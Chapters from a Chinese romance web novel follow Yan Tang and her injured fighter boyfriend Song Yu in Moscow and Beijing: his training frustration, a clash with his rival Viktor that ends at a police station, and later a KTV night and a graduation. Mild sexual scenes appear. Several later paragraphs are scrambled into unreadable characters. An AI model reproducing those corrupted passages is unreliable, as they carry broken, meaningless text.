燕棠之前就听唐蕊心提过,这是宋郁从小接受训练的俱乐部,她上个月还专门查过资料,这个俱乐部培养了很多UFC知名选手。 俄罗斯系的选手在赛场上向来凶猛,所有精英大概都聚集在这里了。 燕棠来这里看过宋郁几次,前台认得她,朝她笑了笑,说:“他在顶楼。” 自从决定回到这里进行恢复性训练,宋郁特意包下了特定时段的部分场地以便进行私人训练。 燕棠乘坐电梯到顶楼。这里都是独立的功能性训练室和理疗室,她不知道现在宋郁在哪里,沿着走廊透过墙面的宽型玻璃往里看。 外头天色渐黑,走廊里只有她的脚步声。 走到尽头的负重训练室,她终于停下,透过窗户看见里面的男人正在进行基础的负重训练,额前的碎发沾上汗水,下颌紧绷,显然是已经辛苦了一天。 燕棠目光落在他手中的哑铃上。 那不是宋郁巅峰时的重量,可现在他仍然在适应期,膝盖只能承受低重量的训练。 她见宋郁放下哑铃,好像准备休息了,正准备笑着跟他打招呼。 可宋郁没看见她,而是转身背过去,拿起放在架子上的金属制水杯喝了一口。 只喝了一口。 下一秒,他忽然举起杯子,朝一侧地面狠狠砸去。 砰的一生巨响,仿佛砸到了燕棠的心头,让她站在门外也吓得抖了一下。那金属制的水杯因为巨大的冲力弹起,撞在了另一侧的墙面上,水迹洒了一地,四处飞溅,一片狼藉。 燕棠看见宋郁在这时才转过头来,注意到了她的存在。 他脸上微微一怔,隔着窗子和她对视。那目光里什么都没有,平静得出奇。 54、维克托说… 在压抑的安静中,燕棠透过窗户和里面的男人对视了很久,才挪动身体,缓缓推开了训练室的门。 天花板的灯管亮着白光,刺眼明亮,右侧墙边一排黑森森的哑铃和和杠铃盘,左侧墙面的休息椅上也沾上了水渍。 燕棠从包里拿出纸巾,将椅子上的水擦干净,随后将晕湿的纸巾扔进一侧的垃圾桶里,然后捡起掉落在地上的水杯,放在一侧桌面上。 金属杯底碰到桌面,发出一声清脆的声音。 她温声开口:“过来坐下。” 宋郁一直站定在原地,视线落在她身上一动不动,直到她说了这句话,才缓慢迈动步子,走到她身边,坐在椅子上。他又从她身上闻到一股浅淡优雅的香水气味,就和她今天的打扮 样,浅色大衣里是修身的白色长裙。这装扮很美,但总让他感到一种难言的陌生。 过了一会儿,宋郁才开口:“你怎么来了?” “忙完就过来了。” 燕棠靠近了才发现他额头和鼻尖都冒了很多汗,脸蛋上没什么表情,明明是热出的汗水,却像是在冰潭里浸过一遍。 她扯过搭在一侧的椅背的毛巾轻轻地给他擦着,用很寻常的语气说:“今晚想吃什么?回家吃还是去餐厅——” 还没说完,宋郁忽然伸手,用力地将她抱住,将脸埋进她的怀里。 她愣了一秒,身体蓦然放松,空出的手轻缓地抚摸他的发丝。 “抱歉,刚才我吓着你了。”他低声说。 “只是声音有点儿大罢了,没关系,你没有吓到我。”她见宋郁情绪稳定些了,才问:“今天训练不顺利吗?” “谈不上顺利不顺利的,上不了强度,要慢慢等膝关节适应,不知道会等到什么时候。” “慢慢来。” 宋郁从她怀里抬起头来,长睫毛一掀,剔透的瞳孔注视着她,叫人看不清眼中的情绪。 时间不早了,燕棠看得出他很疲惫,“你现在先去康复师那里做肌肉松解………” 宋郁问:“你今天晚上可以陪着我吗?” 可还没等燕棠回答,他又改口:“没关系,我知道你有事要忙。” 这些天里,燕棠一直在忙着准备跟合作方商谈的资料,白天夜里都在忙,能顺路来俱乐部接他的时间都不多。 可这回她说:“当然了,今晚我陪你。” 估计是怕燕棠等久了,宋郁明明向来很爱干净,今天却罕见地没在俱乐部洗澡,做完肌肉松解后就直接换身衣服跟她上了车回家。 到家的时候是七点多,聘来做饭的阿姨已经准备好晚餐,等两人安静地吃过饭后迅速收拾好餐桌和厨房,很快就离开了。 这间豪华公寓有两层,挑高客厅,大落地窗,入夜后能俯瞰灯光斑斓的繁华市区。 他们住的时间还不久,等阿姨走了之后便稍显冷清,两个人分处不同房间的时候,还不一定能听见对方的声音。 燕棠送走阿姨后,在二楼走廊处叫了宋郁两声,没听见回复,走进更衣室才发现他坐在一张单人椅,单手撑着脸颊,半垂着眼,又不知道在想什么。 早前在西伯利亚休假时,燕棠就能看出他情绪不大好,回到莫斯科到现在,恢复性训练开始一个月,应该是见效很慢,情绪积累至今,在心里堆成了山。 她目光一转。 和更衣室连通的浴室亮着灯,更衣室里其中一扇衣柜门也被打开了,看上去原本是准备拿换洗的衣服去洗澡。 燕棠默不作声地走到衣柜前给他拿了衣物,放到浴室外侧防湿区域的置衣架上,用他听得到的音量温声说:“你今天很累了,先洗个澡,等会儿早点上床” 身后有脚步声响起,随后是寒窣脱衣服的声音,燕棠一抬头,透过镜子看见赤着上身的宋郁。他的皮肤白,胸肌和臂肌还留着松解时留下的红痕,一大片颇有些触目惊心。 她转身,“那我先——“ 话没说完,宋郁先一步将她整个人抱起来放到大理石台面上,给她脱衣服脱裤子,“不是说今天陪我吗?” 他二话不说把她也剥干净了,一起进了玻璃门后的淋浴室。 墙面和地面都是色调一致的棕灰色,宋有抱着她坐在墙边半米高的台面上,暖色灯光从上头打下,嵌在高处的壁挂式花洒向下喷出湍急的水流,将两个人浇得浑身湿透。他们在接吻。 燕棠被温暖的水流淋得睁不开眼睛,只觉得扣在她腰间的手力道很大,这个吻也凶狠又强势,充满着沉默的侵略性。她脑海里浮现出宋郁在训练室的样子,他那时的神情就像一头真正的野兽,向来充满浓情蜜意的眸子在也冷得让人身体发颤。尽管他在看见她后又迅速收起那副模样。 "Kirill…"她轻声叫他。 宋郁没有应,低下头咬住她,咬得她有点儿疼。 这个澡洗得很混乱,她一直被宋郁抱在怀里,就连离开浴室的时候都没下过地。宋郁随手扯过浴巾裹住她,直接往卧室走去。 卧室没开灯,窗帘拉紧,一片漆黑昏暗。 燕棠被放在床上,在黑暗中听到了避孕套被撕开的声音,随后脚踝被握住。她从宋郁的动作里感到了失控,与此同时还有一种强烈的迫切,这让他此刻几乎用尽了全力。 "Kirill,Kiill….她抬起眼,在模糊的夜色里,宋郁的身形和面容都变成了阴影般沉默的轮廓。只有湿发悬落的水珠随着动作,连续不断地滴在她的脸上和身上。 燕棠的声音断断续续,越是叫他的名字,声音变愈加破碎,直到她没法吐出一个完整的音节。 她今天跟潜在合作方费了一下午的口舌,用嗓过度,这会儿声音很快就哑了。 大概是听出了她声音的变化,宋郁终于俯下身,在黑暗中抱紧她,鼻尖抵着她的脸颊,略显急促的呼吸落在她皮肤上。这个动作使他整个身体都压在她身上,燕棠感到了一丝被挤压的窒息,在本能中绷紧了身体。 这充斥着混乱和迫切渴求的□□终于结束。 简单清理过后,他们安静地躺在一起,宋郁紧抱着她,额头贴在她的脸颊上。 燕棠侧过头。她的眼睛终于稍微适应了黑暗,看见宋郁那张俊秀的脸庞隐没在夜色里,睫毛半垂着,眼里闪动着微弱的光泽。 “现在好受点儿了吗?”她伸出手轻轻点了一下他的鼻尖,轻声问。 几秒后,宋郁才开口,却是在反问她:“你感到失望吗?” “什么?”“今天看到我那个样子,你感到失望吗?” 燕棠微微转动身体,捧住他脸,与他额头相贴,双目相对,“我为什么会感到失望?” “因为那不是你喜欢的样子。”他说这句话时,眸光是闪烁的。 “不,不是这样的。我喜欢你对我展现所有的样子。我又不是傻子,我知道你心里其实很难过,当你尽量在我面前隐藏的时候,反而让我很担心。” 当说出这句话的时候,燕棠注意到宋郁眼中的光泽更明显了 “就像现在。”她说,“你想来我怀里吗?” 话音落下,宋郁沉默地凑近了,像很久以前,他少年时那样埋进她颈项里。 “还没有问,你今天的工作顺利吗?”“不是很顺利。” “我可以帮你。” “没关系,只是工作常见的困难而已,我可以解决。” 燕棠用安抚性的、温柔的语调和他聊着天。 “你和教练以前都告诉我不要太激进,但是我太过自负….” “每一个年纪都有那个年纪所要面临的困难和局限呀,没有必要苛责自己必须做到尽善尽美。” 他们终于聊起了这个对宋郁而言过于艰难的话题,燕棠感觉得到自己颈窝处湿了一片。 她的声音还是温温软软的。“都会过去的,Kirill。” 接下来的几天里,燕棠花更多时间和宋郁在一起。 他现在接受的恢复性训练是隔天进行,而她因为和上一家潜在合作方谈得不顺利,也打算休息几天,于是两人第二天打算出去走一走,挑来挑去,干脆选了去红场溜达。 红场是莫斯科的经典景点,是一处面积很大的光差,能看到克里姆林宫和圣瓦西里主教堂,还有国家历史博物馆。这里还安葬着诸如列宁、斯大林、勃列日涅夫一类历史上的重要人物,充斥着浓郁而沉厚的历史气息。但就跟常住在北京的人没事很少跑去天安门广场一样,燕棠在莫斯科住了几年,来这里的次数寥寥可数,宋郁就来得更少了。 今天难得出了太阳,他们没有排队进景点,只是在外围散步,一路慢慢走进亚历山大公园里。坐落于此的无名烈士墓是用来纪念上世纪中期在战争中牺牲的战士,墓地中央的五角星中燃着长明火。 在失意时感受历史会让人平静,因为一切波澜起伏,名誉功勋都将归于尘土。意义只存在于个体和群体的精神之中,所有事情说到底不过是竭尽全力和无愧于心。 这时恰好是烈土墓守卫换岗的时候,金发碧眼,身形高挑的斯拉夫士兵们动作板正地完成岗位交接,四周聚着很多路人和游客,燕棠和宋郁也一起站在外围看。 她抬起头看向宋郁,他的目光注视着不远处,脸上神色已经褪去了过往那种克制的压抑,变得松弛而平静。 “出来走走好受一些了吗?”燕棠踮起脚,轻声在他耳边问。 宋郁低下头看她,眉眼一弯,恰好露出个笑来,阳光穿过一侧树梢,恰好将他的脸庞照亮。这段时间里,他的情绪得到了发泄,心里不再有顾忌,几乎每时每刻都要跟她黏在一起,燕棠有种梦回当年住在北京公寓里的错觉。不过休息总有尽头,一个周未过后,宋郁要回到俱乐部继续进行训练,燕棠也要去跟新的合作方勾心斗角。周一清晨,小谭开车先将宋郁送到俱乐部,他就像个上幼儿园的小朋友一样跟她说:“今天一定要按时来接我。”燕棠今天要见两家客户,第二家是从下午两点开始,最多也就聊两个小时,直接跟宋郁保证:“我能提前过来。”她没想到自己会失约。 * 燕棠今天下午要见面的出版公司隶属于一个大集团,图书出版业务是这一集团旗下一项老业务,近两年发展 般,倒是体育杂志、在线阅读 类业务发展得很好。 她在昨晚收到了基金会项目部审核通过的框架合同,有效明三年,其中一个条款表示,如果燕棠的公司提出多家出版社联办的大型策划案,需要优先考虑基金会做牵头人。虽然看上去是基金会的优势条款,但换一个角度想,对于其他出版公司而言,如果有基金会当牵头人,也是一种声誉性的保障。 有了这份合同,燕棠对今天下午和出版公司的业务部负责人玛丽亚接触很有信心。下午的沟通也正如她所料,进行得很顺利,玛丽业留下了她的策划案,态度积极地表示愿意跟她保持联系。两人在下午四点时结束沟通,玛丽亚送她到了电梯口。 这栋商务大楼里也坐落着集团的各个子公司办公室,楼层往下就是集团内专营体育新闻的媒体办公室。燕棠拿着喝了一半的咖啡被走进电梯,腾出一只手拿出手机,刚准备给小谭发消息,向下运行的电梯暂停,对开的电梯门缓缓打开。 门口站着一个穿西装打领带的高壮男人,燕棠低着头发消息,没看他,只是往右侧挪了一下,给他让出位置。 电梯门缓缓关上,载着两名乘客继续往下。 “你好,Yana小姐。” 一声带笑的声音冷不丁响起,燕棠猛地抬头,透过电梯门的反射,看见一张锐利凶悍的脸。 她愣住了一秒,认出这是维克托。——他怎么会在这里? “真巧,我今天在接受这里的体育栏目专访,没想到碰见了你。”维克托正扬着和善的笑,但燕棠没有从他眼里看出任何友善的意思。 她冷淡地收回目光,没有理会他,正准备把消息给小谭发出去,就听见维克托又开口了。 "我就知道你当年和Kiril有什么关系,难怪他会为了你接受我的挑战。" “不过他现在过得这么惨,都是因为那时候和我对战的时候被踢伤了左膝。这多少也和你有关系吧?他竟然没有怪你,真的很贱啊——” 燕棠猛地扭头,不敢置信地说:“你在胡说什么?!” 55、伤心甜熊唱慢歌… 当年,燕棠是在拉斯维加斯的赌场边第一次单独遇见维克托。 他在那时不咸不淡地跟她说了两句话,随后宋郁当晚就知道她碰见维克托了。宋郁没说原因,但她猜测大概是维克托跟他说的。回程的时候,宋郁也只说维克托“招惹他”,并没有提及具体原因。 燕棠当时只觉得是宋郁太容易被挑衅,冲动应赛罢了。 “我只不过是拍了一张你的照片发给他,夸他有一个漂亮的中国女友而已。” 电梯右侧上方的小屏幕上,楼层数字不断变化,从三十二楼继续往下。四面内壁都是可以清晰照见人影的抛光材质,在光线和电梯内壁反射下,维克托那张带笑的脸扭曲成令人厌恶的模样。 他还在继续说:“我还告诉Kirill,如果有一天他腻了,不如……” 喋喋不休的声音说出一些没有下限、低俗、不堪入耳的话。 燕棠先感到惊愕,随后是愤怒,当维克托说得越多,那股怒火便烧得越旺,烧得她手抖。 电梯楼层还在持续往下,从十开始倒数。 “听说Kirill回到雪豹训练了,这个年纪还要从小男孩就能玩儿的强度开始,他把俱乐部当游乐场了吧。” 燕棠面无表情地盯着电梯里的小屏幕。 她大概猜到了维克托的意图—他把她和宋郁当成消遣的乐子,如果她能因为愤怒而把这些话转述给宋郁,维克托大概会更加高兴。这样以别人的失败为乐的人,跟他讲文明讲礼貌是讲不通的。 燕棠认为自己应该控制好情绪,因为维克托又高又壮,又不是个品行端正的人。但文明人吃亏的地方就在这里,做事越喜欢体面,遇上不体面的人多数时间只能生闷气。 她垂下眼,捏紧了手中的咖啡杯。 就在这时,电梯稳稳停在一楼,门向两侧缓缓打开。 这里的一楼就如所有的高档写字楼一样,顶部嵌入式灯光明亮,大理石地面干净如镜,在刷卡出入的关口也少不了穿着制服的高大保安。 燕棠踏出电梯,鞋跟踩在地面发出冰冷的声音。身后的维克托见她没什么反应,也觉得无趣了。 他拿出访客卡,跟随燕棠走出刷卡关口,最后说: “我猜你现在是要去接Kill,他还像以前那样要人接送啊,外祖父母,爸爸妈妈,长不大的小孩。你看上他哪点?他的中国血统?哈哈哈,再见—” 正说完这句话,维克托看见走在前面,一直一言不发的女人忽然转身,她手中那杯咖啡不知何时被打开了盖子。 燕棠手一抬,把整杯咖啡泼到了维克托脸上。还没等维克托反应过来,一旁的保安先冲了过来,声音严肃:“女士,这是怎么回事?”她沉声用俄语说:“他对我进行性骚扰,发表种族歧视言论。”随后燕棠迅速把语言切换成了中文,像连珠炮般对维克托说:“宋郁小时候给你那一脚真是便宜你了,打UFC挣那么多钱怎么不去治治脑子……” 辖区警局装修老派,木门砖地,灯管亮着略显暗淡的白炽光。办公室内,问话的警察约莫五十岁上下,深色警服,灰色瞳孔大鼻头,声音沙哑。 “谁报警?”老警察表情冷漠,语气里透露着浓浓的不耐烦,这话说完后还瞥了一眼墙上的时钟。 燕棠说:“我。”她简单陈述了报警理由,同时把自己的护照和居留许可递过去做登记。 在这之前,燕棠偶有几次跟警察打交道的机会,这里的警察比较难搞,对中国人的态度也很不一样。如果不是维克托当时叫器着要送她进警局,她也不至于出此下策,先发制人。 老警察登记完两方身份信息,目光再次转向燕棠,让她描述事情经过。 “电梯里只有我们两个人,他主动跟我攀谈,反复强调我很漂亮以及我是中国人这件事……”“他还嘲笑我男朋友。我男朋友作为中俄友谊的结晶………” “中俄友谊的结晶?”老警察眉头一皱,用笔头敲桌子,让她把话说简单点。 燕棠冷静作答:“混血。他的父亲是中国人,母亲是位美丽的俄罗斯女人,当年他的祖父母曾经到苏联留学。” 说到这里,她注意到正在低头的老警察的笔尖停顿片刻,没有指责她说多余没用的话,而是让她继续往下说。 燕棠舒了口气。 ——这个国家里,不同年龄的人观念也很不一样,老一辈对前苏联有着复杂情绪,对中国人的态度也许会比较温和。她适可而止地将话题转回这场闹剧上,强调:“他很高大强壮,一直尾随我出电梯……” “你指他故意跟在你后面?”“是。” “你感到害怕吗?”“非常害怕。“ “那你怎么还敢泼他咖啡?”“因为我同时感到被羞辱。” 听到这里,坐在一旁的维克托冷笑一声:“那里只有一个出口,难道我要飞出去吗?” 老警察直起身,对维克托冷淡地说:“还没轮到你说话。” 当两方都把情况陈述完毕后,窗外的天色已经全黑了。燕棠还没来得及联络宋郁,但得知情况的小谭肯定已经去找他了。办公室外还坐着维克托的经纪人。 老警察皱着眉看记录,什么话也没说,她心里有些忐忑,在冷硬的木板凳上坐立不安。 一位年轻警察走进来,在老警察身边说了两句话。外头走廊响起几道脚步声,燕棠下意识转头看去。 宋郁一脸沉冷,高挑的个子直接挡住了走廊处漏进办公室的灯光,他身后跟着一位面容严肃的中年女律师。 他目光冷淡地瞥了一眼维克托,随后走到燕棠面前检查她的情况。 燕棠知道自己惹了麻烦,刚才故意摆出的镇定瞬间瓦解,用他们两个才听到的声音问:“我泼了他咖啡,不知道警察会不会处罚……” “不会。”宋郁连前因后果都没问,轻轻在她耳边说,“波丽娜会解决。” 这位名叫波丽娜的女律师正在和警察交谈,西装裙是定制的,手里的包也价值不菲。 燕棠听见她声音沉着地说“这种骚扰行为非常恶劣,我们要求对方至少写一份纸面保证书…….”她的职业病犯了,脑子走神一秒,试图猜测波丽娜的律师计费会有多贵。 维克托也目光沉沉地盯着宋郁。 他此时的心情差到极点,遭殃最严重的西装外套已经脱了下来,里面的白衬衫和领带还留着斑斑点点的咖啡渍,头发也一股咖啡味。 可早就滚出格斗圈的宋郁还是那副高高在上的样子,就像小时候那样。当其他人都揣着卷饼步行到俱乐部,拼命训练就是为了和俱乐部签约的时候,宋郁总是坐豪车出入,有专门的司机、保姆和 营养师时刻陪在身边,没有任何压力却偏偏做得比谁都好。“Kirill,你看上去像昂贵的垃圾。”维克托说。 燕棠正想抓住宋郁的手,可他却先一步朝维克托走去,警察和律师停止了交谈,正想往他们的方向走去。 不过宋郁只是低下头在维克托耳边说了几句话,也不知道说了什么,维克托的脸色变得很难看,而宋郁脸上则带着一种轻蔑的笑。 这场争端在律师出面下,以维克托写了一份保证书在警局备案结束。 离开警局后,燕棠已经饿得前胸贴后背,宋郁带她直接去餐厅吃饭。 这餐厅堪称金碧辉煌,巴洛克装修风格,大吊顶水晶灯,华丽的廊柱和墙壁,迅速让燕棠忘记了警局里压抑的氛围。 “这里的餐品还可以,但听说女孩儿都喜欢来这里拍照。”宋郁说。 一口红酒入肚,燕棠总算是缓过神来,才发现对面的人一直在看她。 “虽然一开始的时候把我急坏了,但现在想起来,你比我想的要厉害。”他第一次有些操心地叹了口气,随后说:“看来以前扇我巴掌也不是意外事件……” 燕棠立刻纠正她从来都是正当防卫。“再说了,我本来不想起纠纷的,谁让他在我面前那么说你…” “是为了我?” “对呀,所以你不要把他的话放在心上。”宋郁从律师那里得知了具体情况,自然也知道维克托当时说的那些贬低之语,燕棠担忧他心里耿耿于怀。可宋郁却说:“我已经不在意他怎么说我,但他应该为对你说的那些话付出更大的代价。” 燕棠回想起在警局的场景,“刚才你在警局跟维克托说了什么?” “没什么,就是一些不怎么好听的狠话。”宋郁云淡风轻地说,“比如会回到赛场帮他终结职业生涯之类的。” 燕棠却想起了维克托提及的几年前的事情。 沉默片刻后,她还是忍不住问:“那时候你决定提前和官方申请和他排赛,也是因为这个。” “那时候为什么不告诉我呢?” “为什么要告诉你呢?”宋郁反倒问起她来。 在温和偏暗的灯光下,他俊秀的眉眼显得柔和,有了几分少年时的影子。“让你听到那种话,除了让你伤心和担心外没有任何作用,不如我自己把他解决了。我希望你一直都是开开心心的。” 有很多事情,只有回过头才能看得出全貌。燕棠当时几乎是以一种仰视的姿态来看宋郁,只看到了他家境优渥、外貌出众,擅长甜言蜜语。这些外在的东西既吸引她,又让她防备,以至于她并没有多做努力去更了解宋郁。 所以如果宋郁没有多坚持这几年,她应该永远都不会有机会知道,她原以为的“浅薄的喜欢”,还有着另一副温柔面貌。 燕棠到家的时候还很沉默。 她这副低落的模样自然也被宋郁注意到了,他像往常那样将她抱紧怀里,还以为是今天的事情让她心里难过了。 “不是。”燕棠摇摇头。 “那是怎么了?”他耐心问。 “我只是觉得……”燕棠目不转睛地盯着宋郁看。“好像你以前比我想的还要喜欢我。” “那当然了,可你以前都不相信我啊。”宋郁在南市的时候就把这点看得很清楚,“所以我才说你是胆小鬼。” 他顿了顿,又说:“就像你说的,都会过去的,那时候我想得太简单,你想得太复杂,现在刚刚好……” 两颗心的距离有多远? 两个相爱的人又需要花费多少的时间,才能完成没有隔阂、不含猜忌的对话? 她现在有了答案。 ——这真的需要走很长很长的路、很多很多的耐心,以及无穷无尽的勇气。 宋郁没想到燕棠会突然看着他掉眼泪,尽管她说她不是在伤心,也不是他做错了什么。她还把他抱得紧紧的。 他觉得自己应该像燕棠安慰他时那样,讲道理、给情绪价值,两个人温馨地相拥,一起分享内心时刻。 可燕棠一低头,眼泪滴在他锁骨上时—— 宋郁心里微微叹了口气。他硬了。 燕棠很快也发现了不对,惊愕抬头。“没关系,我继续安慰你,我可以忍着。”宋郁淡定把她抱进卧室。 无论如何,和维克托发生冲突这个意外事件,渐渐随着日子往前走而被埋在了两人心底。 燕棠知道宋郁还记着这件事,但他的心态在那一次发泄之后有了很大的变化,后来的训练节奏渐渐稳定下来。而她的业务合作也有了进展,在经过两个多月的谈判协商,终于和莫斯科这边的出版公司签下了几个业务合作合同,公司之后就能进入全力推进项目的阶段。 有时候事情慢一点就是快一点,在六月底的时候,宋郁的训练连续两次提高强度,而他的膝伤并没有复发。 去医生处复查,得到的反馈也很好,于是在莫斯科的教练团开始为他调整升级训练方案,开始尝试以比赛为目标进行复健训练。 恰巧这个时候也是宋郁从大学毕业的时候,他要回一趟北京领毕业证,也想再去唐齐教练那里聊一下未来的训练,如果有可能,宋郁还是希望以后能够跟唐齐继续合作。 燕棠估计这一次去北京大概要待更长的时间,就想招一位助理留在莫斯科,方便她在北京的时候,还能有人在紧急情况下协助联络合作伙伴。 但招人是个麻烦事,她先是在自己加入的在俄留子群里发了招聘消息,收到了几份简历,但怎么看都不怎么满意。 正巧这个时候,宋郁洗完澡凑过来要看她工作,一眼瞥到了其中一封邮件上。 见对方是个男性,语言亲切熟稔,他立刻直觉性眉头一皱,“他和你很熟吗?” 燕棠盯着这个名字回忆了片刻,说:“不熟,只是好像他在三年前约我出去吃过一次饭,我没去。” 宋郁沉默一会儿,随即又看见了她跟冯橙在聊这几个人简历,说:“你怎么还夸他能力不错?” 这会儿燕棠终于察觉他又开始吃飞醋了,跟他发誓:“我只是就事论事。” 宋郁:“不能招他。” “行,不招他。”燕棠笑了。 他不仅是口头说说,在第二天立刻帮她联络了一个助理人选,直截了当给燕棠解决了这个烦恼。 但宋郁在这类事情上面记得尤其清楚,这份简历提醒了他,燕棠在分开那几年也面临着许多诱惑,这让他心里很不好受。 于是在回到北京,和俱乐部选手们聚会那晚,他没有拒绝超子一起唱歌的邀约。 燕棠对唱歌不感兴趣,这晚就跟唐蕊心坐在一起聊天,聊着聊着就莫名其妙听到了宋郁的声音。 一抬头,就见他坐在超子旁边,被超子用话筒怼到嘴边的时候还真能飚两句中文歌词。 但她越听越不对劲,走到点歌的屏幕前打开一看。 歌单:《一直很安静》《谁》《你就不要想起我》 …… 燕棠面无表情地抬头,见宋郁侧过脸来,目光正瞥向她。——他在点我。 56、毕业典礼… 这家KTV开业多久装修风格充满独特的科技感,内部S光不同于般的KTV包厢那降高饱和的红监绿,以以粉和高满色为主. 宋郁恰好坐在不远处的灯光下,侧脸被光线勾处一圈漂亮的轮廓。他不笑的样子颇有他哥那副高冷男神的范儿,可偏偏这会儿一直往燕棠这看,眼神儿里是什么意思藏都藏不住。 这首歌结束,宋郁很快挪到燕棠身边坐下,手臂一伸搭在她肩上,一米九几大男人的手臂沉得跟钢铁似的,“好听吗?” “谁教你这些歌的?”燕棠好奇。 宋郁说是同学教的,见她点点头就不继续问了,他又开口:“你怎么一点儿都不感兴趣?” “不是不感兴趣,是你微信朋友圈里有挺多和朋友的合照,我好像有印象。” “你看过那些照片?” “对呀,那几年你发那么勤快,我每周都能看见。” 宋郁盯着她看了几秒,说:“那你看了怎么不点赞?” 因为当年分开的时候宋郁很不开心,燕棠见他过得好像很快乐,不敢打扰他。她解释完,凑上去亲了宋郁脸颊一口,小声哄他:“别想以前的事情了,伤心的歌越唱越不高兴。” 宋郁果然很吃这一套。 俱乐部里有几个选手在备赛期,在晚上九点多时被教练赶出ky回家休息他们也顺便在这时候打道回府。KTV的位置离俱乐部不远,往南两公里就到公寓。北宗前两天下了小雨,晚上温度比较凉爽,两人一路走到公寓棱下,瓶京 “这是什么?”宋郁问。“我毕业那年你送的鞋子。”她笑眯眯地说,“过两天是你的毕业典礼,我想穿这双鞋去。“ 这话说出来,宋郁立刻眉眼舒展,从她手上接过包裹,回到家后立刻拆开。“你还没穿过?” “毕业那天要走来走去,穿高跟鞋其实很累,平常也没有太多穿得上的场合,索性就收起来当纪念了。” 给的就要穿网,的码数点儿都下好买,我厨时按SAT做,结果S治最后-双已经另一个女儿预了,我出二倍的线扩抢过来的. 宋郁指尖勾住鞋跟处的缎面系带,把鞋从鞋盒里拎出来,想让燕棠今晚穿给他看看。他做事的风格原则向来一致,对于想要的东西不计成本代价,给燕常挑礼物的眼光也一直非常好,这双鞋穿在她脚上的效果就 燕棠如他的所愿试穿了一下,很舒服很合脚,在客厅里走两步。鞋跟轻敲地面的声音落在宋郁耳中,真是迷死人了。 她刚准备把鞋子脱下,身后的人跟饿熊扑食似的把她抱起来往沙发上去。 “我今天是生理期。”燕棠遗憾地说, 宋郁动作一顿,手劲儿立刻放轻,“这个月怎么提前了?” 大概是换了环境,生理期提前了两天,好事儿没做成,两个人只好盖被子纯聊天。卧室的空调温度是按服燕常舒适的温度调的,男性体温偏高,宋有在被子外头,一只手伸进被子里捂住她的小腹,充当热水袋,另一只手的手臂给当枕头,让她背靠在自己怀里躺下。 说是聊天,这会儿两个人都在玩手机。 燕棠真不是故意看宋有郁聊微信的,但这姿势实在是离得太近了,她眼一抬就能看见他的手机屏幕。 过两天就是宋郁的毕业典礼,这会儿冒出消息的都是班级或者年级的微信群,通知毕业典礼当天的注意事项。 未钢随手点开信群,相当顺手地用微信翻子功能进行中译,看完联消总后也没出微信,而是忽然点开他自己的朋友画,一条条缓缓住下漏。 看着看着,燕棠忽然发觉不对了—他条朋友圈的图片右下角都有一个小小的白色半身人像,说明这是仅对部分人可见。正当她琢磨着,身后的人忽然开口了:“想看吗?” 燕棠缓缓仰头,这才发现宋郁正垂眼她,大概早就发现了她在看他的手机。他大概是故意打开朋友圈的,这会儿都不等她回答,直接点开那个人像符号,让她看得清清楚楚。 屏幕上显示了一行“只给谁看”,下方只有一个人,是燕棠的头像。 燕棠愣了几秒,终于反应过来,轻声问:“这几年的朋友圈都是这样?” 宋郁“嗯”了一声,顺带还又强调了一遍:“你看了都不点赞,也不来问候我。 好事不怕晚,心里愧疚拉满的燕棠掏出手机开始给他补赞。不补不知道,这小子发的也式多了,花了十几分钟完成这个大工程,她指尖划回到屏常上端,正想退出,手机忽然被身后的人。 “甜熊?”他用中文念出来。 磊听这两字,浑身激,心虚得连r要从他于理色手机,可借未和的中文相几年的配经大幅度提用,这个地喻的加上就直没改的备击已经被她牢牢记住 宋郁用自己手机上的翻译软件将这个词同时翻译成俄文和英文,用三种语言全方位理解它的含义。 “什么时候改的?”他问。 “刚刚给你做家教的时候,听见娜斯佳这么喊你,觉得挺贴切的,就改了。”燕棠老实说。 见宋郁陷入沉思,她还以为他不乐意了,毕竟一个成熟的男人很有可能不喜欢这样幼稚的称呼。 正当她这么想着,宋郁忽然幽幽开口:“原来那个时候你就对我有非分之想了。” 一个备注而已,怎么称得上是非分之想呢?燕棠还没来得及为自己辩解、就听他又问:“所以你第一次给我上课的时候在想什么? 第一次给宋郁上课的时候在想什么?她脑海里不受控制地飘过几个深埋在回忆里的画面。 冬日阳光。窗边的小鸟。还有十八岁宋郁在听课时偶尔露出的,略带青涩的笑容。 房间空调还在呼呼吹着,公寓窗外是被笼罩在夜色里的繁茂绿叶.夏日特有的蝉鸣此起彼伏,将燕棠的思绪拉回来, 她顶着身边男人拷问般的目光,面色平静地拉起被子,准备闭眼睡觉,“那时候我是你的家教老师,我脑子里想的全是知识。“ 宋郁盯着她看了两秒,露出体贴的笑容,“没关系,那时候我已经成年了,你不用骗我。“ 可燕棠咬死不说出他想要的答案,并目声称她已经很困了,生理期前两天,腰也很不舒服 这招果然有用,宋郁亲密地抱住她,往她脸颊上亲了一口,手上还不停给她揉着腰。“那你睡吧,以后还有机会好好问你。” 他说得很轻巧,这让燕棠有些警惕,担心他在憋着什么坏。 不过接下来两天里,宋郁并没有时间使坏,多数时间都在俱乐部里跟唐齐进行训练检验而燕棠则在公司里忙业务,除了晚上跟他住在一起,白天没怎么见得上面,也渐渐把这件事抛在脑后。 直到毕业典礼这天,两人才终于一起出了门。 宋郁所在大学的毕业典礼也分为院级和校级两场,校级的毕业典礼设置在另一天,恰巧那天燕棠要开会,宋郁的父母会起来参加。 而院级的典礼在今天下午,燕棠拿的是家属入场券,不过位置在特定的家属落座区,跟毕业生不在一起 她身边也坐了位年轻女孩儿,叫江月。两人聊了一会儿,她才知道江月是这所大学其他院系的学生,今天也是来参加男朋友的毕业典礼的。 每个毕业典礼都是相似的流程,这江月大概是听得无聊了,跟燕棠开始小声唠嗑。 “你知不知道他们院这届好多帅哥美女?学这个专业的,体育生和留学生都多,体操队游泳队篮球队的都有,身材巨好。” 见燕棠一脸好奇,江月继续跟她说:你男朋友没跟你说过?也是,男生一般都不聊这个。他们年级最帅的俩都是留学生,一个是从俄罗斯来的,还有一个是温哥华的华商,这两个地方嘛,你懂的。”“我们入学那年,有人打听他俩信息。结果不知道从哪里传来的消息,说俄罗斯那个虽然 吧,但在莫斯科有个白月光,之后就没什么人敢追了….” 燕棠有些惊愕:“……这是什么说法?!” “嗯啊。”江月点点头,“我问我男朋友,他说是真的,我们学校门口有一家通宵的ktv,他们男同学一起去唱歌的时候,我男朋友还教他唱失恋情歌呢……” ……原来是你男朋友教的。燕棠默默想。 两人正聊着,典礼恰好在这时候结束了,宋郁穿着学士服走过来,将手搭在燕棠肩上,用俄语说:“没想到时间这么长,你累了吗?”“还好,要去聚餐了吗?” 